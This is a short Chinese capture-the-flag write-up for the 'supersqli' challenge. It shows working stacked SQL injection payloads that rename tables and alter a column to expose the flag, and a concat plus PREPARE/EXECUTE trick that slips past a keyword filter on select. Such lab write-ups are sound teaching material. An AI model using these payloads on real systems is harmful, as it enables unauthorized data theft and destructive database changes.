攻防世界 supersqli
题目
WP:
输入1、2、3提交
发现输入的数值提交到inject
发现inject存在sql注入风险
尝试堆叠注入
发现数据库
查看supersqli中的表
发现两个表
尝试查询表内的所有内容
发现对select|update|delete|drop|insert|where进行了过滤
继续查看字段
发现1919810931114514表中的flag,但无法使用select语句,不能直接输入,但发现words表中的id属性和输入的参数inject很相似,都为整型(输入值若为字符型发现错误),故推测默认查询的是words语句的id值,即select id
from words where xxx=xx;
将words改名为word,rename tables words to word;
将1919810931114514改为words,rename tables ‘1919810931114514’ to words;修改字段flag为id
alter table words change flag id varchar(10);
整合起来的payload就是
1';rename tables words to word;rename tables '1919810931114514' to words;alter table words change flag id varchar(50);--+
注意要一次性全部写入,不然第二次修改表名/列名时会出现提交inject参数后却找不到words表的情况。
最后 1’ or 1=1 --+查询到flag值
除了修改表名和字段名之外,记录一下学到的另一种方法:预编译
0';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#
set @sql:自定义了一个@sql语句
concat:用于绕过select过滤,最后执行时select才被连接起来
prepare语法:
PREPARE stmt_name FROM preparable_stm/*定义*/
EXECUTE stmt_name [USING @var_name...]; /*执行预处理语句*/
{DEALLOCATE | DROP} PREPARE stmt_name /*删除定义*/ ;